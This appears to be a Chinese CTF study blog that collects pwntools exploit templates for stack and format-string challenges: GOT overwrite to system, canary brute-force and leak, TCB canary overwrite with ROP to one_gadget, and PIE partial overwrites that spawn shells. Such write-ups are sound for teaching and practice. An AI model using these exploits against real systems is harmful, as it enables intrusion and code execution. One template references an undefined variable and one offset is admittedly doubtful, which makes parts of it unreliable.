pwn各类题型总结

栈溢出

ret2text

见我的另一篇文章

ret2shellcode

见我的另一篇文章

ret2libc

见我的另一篇文章

ret2syscall

见我的另一篇文章,完全是学长写的,我是勤劳的搬运工

格式化字符串

%n篡改固定地址的变量

见我的另一篇文章(x_32)

x64位————与32的区别

  1. 首先我们要补一个b来确定偏移量

    例如我们32位是

    1
    aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

    而64位是

    1
    baaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
  2. 由于64位传参,肯定存在被/x00截断的情况,所以我们需要动调一下,其实我们也可以多试几下,假设我们我们泄露出来的是8,真实的也许就是7,9,10等。

    动调挺简单我就覆两个图片

    • 先是一下直接泄露的8
      4

    • 换成9,还要加上补位AAA

      5

      也许达到这种效果才行吧。

    这里直接给模板了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    context.log_level='debug'

    r = remote("node5.buuoj.cn",25959)
    #r = process("./mrctf2020_easy_equation")

    judge = 0x060105C
    payload = b"BB%9$nAAA"+p64(judge) #偏移量这里是9,具体根据实际情况。BB是因为judge要修改成2。#AAA是用来补位的
    r.sendline(payload)
    r.interactive()

%n篡改printf_got指向system

例题ctfshow pwn95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn95")
r = remote('pwn.challenge.ctf.show',28204)
elf = ELF("./pwn95")
#libc = ELF('./libc.so.6')

r.recvuntil(" * ************************************* ")

offset = 6 #偏移量根据具体情况来定
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()
#%p %p %p %p %p

例题 buuctf axb_2019_fmt32

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn95")
r = remote('node5.buuoj.cn',26279)
elf = ELF("./axb_2019_fmt32")
offset = 8
printf_got = elf.got['printf']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 =b'a' + p32(puts_got) + b'%8$s'
r.sendafter("Please tell me:",payload1)
puts_addr = u32(r.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
payload = b'A' +fmtstr_payload(offset,{printf_got:system_addr},write_size='byte',numbwritten=0xa)
r.sendafter("Please tell me:",payload)
r.sendline(b';/bin/sh')
r.interactive()
#%p %p %p %p %p

canary

爆破

这里有一个模拟canary爆破

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import re
import time
context(arch='i386',os='linux',log_level='debug')
#r = remote("pwn.challenge.ctf.show",28257)
r = process('./pwn119')
elf = ELF('./pwn119')

canary = b'\x00'
backdoor = elf.sym['backdoor']

canary = b'\x00'
for i in range(3):
for j in range(0, 256):
payload = b'a' * (0x70 - 0xC) + canary + p8(j)
r.send(payload)
time.sleep(0.3)
res = r.recv()
if ( b"stack smashing detected" not in res):
print(f'the {i} is {hex(j)}')
canary += p8(j)
break
assert(len(canary) == i+2)

print(f'Canary : {hex(u32(canary))}')

# 第二次溢出
print(hex(u32(canary)))
payload = cyclic(0x70 - 0xC) + canary + cyclic(0xc) + p32(backdoor)
r.send(payload)
r.interactive()

SSP泄露Canary

ctfshow pwn117
这里主要记录怎么算偏移即buf和__libc_argv[0]的偏移

脚本除了偏移的计算其他都好理解

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote("pwn.challenge.ctf.show",28116)
#r = process('./pwn')
elf = ELF('./pwn')
flag = 0x6020a0
offset = 504
payload = cyclic(offset) + p64(flag)
r.sendline(payload)
r.interactive()

计算过程先

1
cyclic 100

再进行gdb调试先输入cyclic的结果,再通过如下两种方式计算参考

1

2

3

理论上应该是520才对,504可能是本题有点问题。

覆盖截断字符获取Canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int ctfshow()
{
int i; // [esp+0h] [ebp-D8h]
char buf[200]; // [esp+4h] [ebp-D4h] BYREF
unsigned int v3; // [esp+CCh] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'

#r = remote("pwn.challenge.ctf.show", xxxxx)
r = process("./pwn115")
elf =ELF('./pwn115')
backdoor = elf.sym["backdoor"]
#泄露canary
r.recvuntil("Try Bypass Me!")
payload = b'A'*200 #buf的偏移值
r.sendline(payload)
r.recvuntil(b"A"*200)
Canary = u32(r.recv(4))-0xa #0xa是剪掉上面的换行
log.info("Canary"+hex(Canary))

payload = b"A"*200 + p32(Canary)+b"A"*0x0c+p32(backdoor)#64位需要加一个ret

r.sendline(payload)
r.interactive()

格式化字符串劫持__stack_chk_fail指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
r = process('./pwn118')
#r = remote('pwn.challenge.ctf.show',xxxxx)
elf = ELF('./pwn118')

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']

payload = fmtstr_payload(7, {stack_chk_fail_got: getflag})
payload = payload.ljust(0x5c, b'a') #偏移量根据实际情况定
r.sendline(payload)
r.recv()

r.interactive()

canary,格式化字符串

见另一篇文章

覆盖TCB来实现对canary的绕过

还是没搞懂,等搞懂了再来写,先留个模板–来自佬的blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
#r = process('./pwn120')
r = remote('pwn.challenge.ctf.show',' xxxxx')
#context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn120')

pop_rdi_ret = 0x4007d8
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x40098c
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']
read_plt = elf.sym['read']
bss_addr = 0x602010

payload = b'a' * 0x510 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave_ret)

payload = payload.ljust(0x1000,b'a')

r.sendlineafter("How much do you want to send this time?\n",str(0x1000))
sleep(1)
r.send(payload)
sleep(1)
r.recvuntil("See you next time!\n")
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")

# 由于使用的不是题目虚拟机,这里也就没有对应的libc库,所以直接用wp里面给的,当然也可以直接把可能的libc全试一遍,但是这里就不这么做了。

# 正确的libc是libc6_2.27-3ubuntu1.6_amd64

one_gadget = libc_base + 0x4f302

payload = p64(one_gadget)
r.send(payload)

r.interactive()

ctfshow pwn89

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
pthread_create(newthread, 0LL, start, 0LL);
if ( pthread_join(newthread[0], 0LL) )
{
puts("exit failure");
return 1;
}
else
{
puts("Bye bye");
return 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__fastcall start(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x1000uLL);
puts("Welcome to CTFshowPWN!");
puts("You want to send:");
v2 = lenth();
if ( v2 <= 0x10000 )
{
readn(0LL, s, v2);
puts("See you next time!");
}
else
{
puts("Are you kidding me?");
}
return 0LL;
}

关键为什么能绕过 canary

正常情况下栈保护是:stack_copy_on_stack vs stack_guard_in_TCB (fs:0x28) 比较。此处能绕过的关键链条:

  1. 程序在新线程的栈顶附近放了 TCB,stack_guard 在那个附近可被写到(实现细节见 glibc 分配策略)。
  2. 读入的数据长度远大于本地 buffer(允许写穿 buffer 到栈顶区域)。
  3. 溢出写同时 覆盖了栈上的 canary 副本(stack copy)与 TCB 中的主 canary,把它们都改成攻击者任意的值 → 因为校验比较的两端都被同步改写,于是检查通过。
  4. 同一次写还能把 saved rbp/ret 等覆盖为攻击者需要的值,从而做 ROP、leak、写二阶段并 pivot 到 .bss

换言之:不是“绕过检测逻辑本身”的巧妙 trick,而是“把检测所依赖的参考值(主 canary)用一次大写覆盖成期望值”,从而让检查失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
#p = process('../pwn89')
#p = gdb.debug('../pwn89','b main')
p = remote('pwn.challenge.ctf.show',' xxxxxx')
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('../pwn89')

pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x40098c
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']
read_plt = elf.sym['read']
bss_addr = 0x602f00

payload = b'a' * 0x1010 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave_ret)

payload = payload.ljust(0x2000,b'a')

p.sendlineafter("You want to send:",str(0x2000))
sleep(0.5)
p.send(payload)
sleep(0.5)
p.recvuntil("See you next time!\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")

# 由于使用的不是题目虚拟机,这里也就没有对应的libc库,所以直接用wp里面给的,当然也可以直接把可能的libc全试一遍,但是这里就不这么做了。

# 正确的libc是libc6_2.27-3ubuntu1.6_amd64

one_gadget = libc_base + 0x4f302

payload = p64(one_gadget)
p.send(payload)

p.interactive()

p64(pop_rdi_ret) + p64(0)

设置 rdi = 0(stdin 文件描述符)为接下来 read 的第一个参数(fd = 0)。

p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)

gadget 做 pop rsi; pop r15; ret:它把 bss_addr 赋给 rsi(第二个参数),并把 0 弹到 r15(只是占位/对齐,r15 在这里不被 read 使用)。

puts泄露canary

见我的另一篇文章和覆盖截断字符获取Canary类似

PIE绕过

爆破pie

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
# context(log_level='debug')


padding = 0x18 + 0x4
backdoor = b"\xF0" + b"\x06" #backdoor的地址
payload = b"A" * padding + backdoor


count = 1
while True:
r = process("./pwn")
try:
count += 1
print(count,end=' ')
r.recvuntil(b"xxxxxxxx") #根据具体情况
r.send(payload)
recv = r.recv(timeout=10)
except:
print("error",end=' ')
else:
r.interactive()
break

格式化字符串泄露pie和partial write

推荐个佬的博客(格式化和32位pw)

佬的博客2(64位pw)

64位模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

from pwn import *

r=process("./pwn")
elf=ELF("./pwn")

context.log_level="debug"

#Step1 leak canary & ret_addr
r.recvuntil(b"xxxxx")
payload1=b"a"*36+b"bbbb"
r.sendline(payload1)
r.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
r.recvuntil(b":\n")
#b"\x3E\x8A"是getshell的地址
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
r.send(payload2)

r.interactive()

覆盖返回地址的后两个字节转跳到后门函数

1
2
3
4
5
6
7
8
ssize_t sub_120E()
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

memset(buf, 0, sizeof(buf));
puts("A nice try to break pie!!!");
return read(0, buf, 0x29uLL);
}

先找到需要转跳的地址

6

这里是0x126c只要把返回地址后两字节覆盖成0x6c即可

exp:

1
2
3
4
5
6
7
from pwn import *

p = process('./pie_1')
context(arch='amd64', log_level = 'debug')

p.sendafter(b"A nice try to break pie!!!", b'\x00'*0x28 + p8(0x6c))
p.interactive()
这里再记录一个canary和pie结合的题目
1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__gid_t rgid; // [rsp+Ch] [rbp-4h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
sub_1240();
sub_132F();
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}

canary用格式化字符串泄露,然后再利用栈溢出来getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#r = process('./find_flag')
r = remote('node4.anna.nssctf.cn',28027)
r.recvuntil(b"What's your name? ")
payload = b"%17$paaaa%19$p"
r.sendline(payload)

# 接收输出
r.recvuntil(b"Nice to meet you, ")
data = r.recvline().strip()

# 分割数据
leaked = data.split(b"aaaa")
canary = int(leaked[0], 16)
ret_addr = int(leaked[1][:-1], 16)

print(f"Leaked address 17$p: {hex(canary)}")
print(f"Leaked address 19$p: {hex(ret_addr)}")

back_door = ret_addr - 0x146F + 0x122e

r.sendafter(b"Anything else? ", b'\x00'*(0x40 - 0x08) + p64(canary) + b'\x00'*8 + p64(back_door))
#gdb.attach(r)
#pause()
r.interactive()

注释:19泄露的是返回地址,17泄露的是canary的地址

17怎么计算参考上面的格式化字符串泄露canary,canary和返回地址正好相差两个0x08。所以ret_addr的地址是19处。

0x146f和0x122e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:00000000000013F9 ; __unwind {
.text:00000000000013F9 endbr64
.text:00000000000013FD push rbp
.text:00000000000013FE mov rbp, rsp
.text:0000000000001401 sub rsp, 10h
.text:0000000000001405 mov rax, cs:stdin
.text:000000000000140C mov ecx, 0 ; n
.text:0000000000001411 mov edx, 2 ; modes
.text:0000000000001416 mov esi, 0 ; buf
.text:000000000000141B mov rdi, rax ; stream
.text:000000000000141E call _setvbuf
.text:0000000000001423 mov rax, cs:stdout
.text:000000000000142A mov ecx, 0 ; n
.text:000000000000142F mov edx, 2 ; modes
.text:0000000000001434 mov esi, 0 ; buf
.text:0000000000001439 mov rdi, rax ; stream
.text:000000000000143C call _setvbuf
.text:0000000000001441 call _getegid
.text:0000000000001446 mov [rbp+rgid], eax
.text:0000000000001449 mov edx, [rbp+rgid] ; sgid
.text:000000000000144C mov ecx, [rbp+rgid]
.text:000000000000144F mov eax, [rbp+rgid]
.text:0000000000001452 mov esi, ecx ; egid
.text:0000000000001454 mov edi, eax ; rgid
.text:0000000000001456 call _setresgid
.text:000000000000145B mov eax, 0
.text:0000000000001460 call sub_1240
.text:0000000000001465 mov eax, 0
.text:000000000000146A call sub_132F //执行完这个函数就会执行 mov eax, 0,所以返回地址在0x146a这里
.text:000000000000146F mov eax, 0
.text:0000000000001474 leave
.text:0000000000001475 retn
1
2
3
4
5
6
7
8
9
.text:0000000000001229 ; __unwind {
.text:0000000000001229 endbr64
.text:000000000000122D push rbp
.text:000000000000122E mov rbp, rsp //后门地址 0x122e,实际上0x1231也行。
.text:0000000000001231 lea rdi, command ; "/bin/cat flag.txt"
.text:0000000000001238 call _system
.text:000000000000123D nop
.text:000000000000123E pop rbp
.text:000000000000123F retn

利用vsyscall地址不变

记录一下有这个方式,到时候了解了在写